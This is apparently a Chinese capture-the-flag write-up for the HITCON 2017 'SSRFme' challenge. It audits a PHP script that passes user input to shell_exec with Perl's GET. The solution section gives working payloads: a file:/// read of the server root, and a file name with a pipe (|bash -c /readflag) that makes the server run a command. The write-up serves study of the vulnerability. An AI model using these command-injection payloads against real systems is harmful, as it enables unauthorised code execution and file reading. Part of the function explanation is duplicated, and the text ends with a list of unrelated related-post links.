[HITCON 2017]SSRFme 1

目录

  • 代码审计
    • [@ 符号](#@ 符号)
    • [shell_exec() 函数:](#shell_exec() 函数:)
    • [GET " . escapeshellarg(_GET\["url"\]):](#GET " . escapeshellarg(_GET["url"]):)
    • [pathinfo(_GET\["filename"\]](#pathinfo(_GET["filename"])
    • basename()
  • 题目解析

代码审计

php 复制代码
118.182.186.90
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

输出ip地址

基于客户端IP地址和固定字符串 "orange" 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET["url"]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET["filename"]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET["filename"]

pathinfo() 函数:

pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

text 复制代码
payload:?url=file:///&filename=a

再访问

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/a

读了一下flag为空,存在readflag

通过GET特性,来运行readflag

需要先创建一个存在运行命令的文件名

text 复制代码
payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

text 复制代码
payload:?url=file:|bash -c /readflag&filename=abc

访问abc

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/abc

得到flag

相关推荐
青岑CTF34 分钟前
moectf2023-了解你的座驾-胎教版wp
安全·web安全·网络安全
毕设源码-朱学姐1 小时前
【开题答辩全过程】以 基于python网络安全知识在线答题系统为例,包含答辩的问题和答案
开发语言·python·web安全
瘾大侠2 小时前
HTB赛季10 - Facts
网络·安全·web安全·网络安全
4311媒体网2 小时前
Libvio.link 页面布局与数据分布
java·php
小宇的天下2 小时前
Cadence allegro---assign net
服务器·php·apache
JaguarJack2 小时前
PHP 现在可以零成本构建原生 iOS 和 Android 应用 NativePHP for Mobile v3 发布
后端·php·laravel·服务端
m0_748233172 小时前
Laravel+Vue:全栈开发终极指南
vue.js·php·laravel
IT·小灰灰14 小时前
30行PHP,利用硅基流动API,网页客服瞬间上线
开发语言·人工智能·aigc·php
快点好好学习吧14 小时前
phpize 依赖 php-config 获取 PHP 信息的庖丁解牛
android·开发语言·php
秦老师Q14 小时前
php入门教程(超详细,一篇就够了!!!)
开发语言·mysql·php·db